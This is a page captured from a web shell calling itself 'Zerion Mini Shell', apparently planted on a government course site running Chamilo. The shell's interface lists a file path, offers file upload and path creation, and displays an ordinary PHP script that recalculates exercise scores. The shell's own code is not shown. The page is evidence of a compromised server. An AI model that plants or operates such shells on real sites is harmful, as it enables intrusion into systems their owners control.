%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/main/exercise/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/main/exercise/recalculate.php

<?php

/* For licensing terms, see /license.txt */

use Chamilo\CoreBundle\Entity\TrackEExercises;

require_once __DIR__.'/../inc/global.inc.php';

api_protect_course_script(true);

if (!isset($_REQUEST['user'], $_REQUEST['exercise'], $_REQUEST['id'])) {
    exit;
}

$isAllowedToEdit = api_is_allowed_to_edit(true, true);

if (!$isAllowedToEdit) {
    exit;
}

$studentId = (int) $_REQUEST['user'];
$exerciseId = (int) $_REQUEST['exercise'];
$exeId = (int) $_REQUEST['id'];

/** @var TrackEExercises $trackedExercise */
$trackedExercise = ExerciseLib::recalculateResult(
    $_REQUEST['id'],
    $_REQUEST['user'],
    $_REQUEST['exercise']
);

$totalScore = $trackedExercise->getExeResult();
$totalWeight = $trackedExercise->getExeWeighting();

echo $totalScore.'/'.$totalWeight;

Zerion Mini Shell 1.0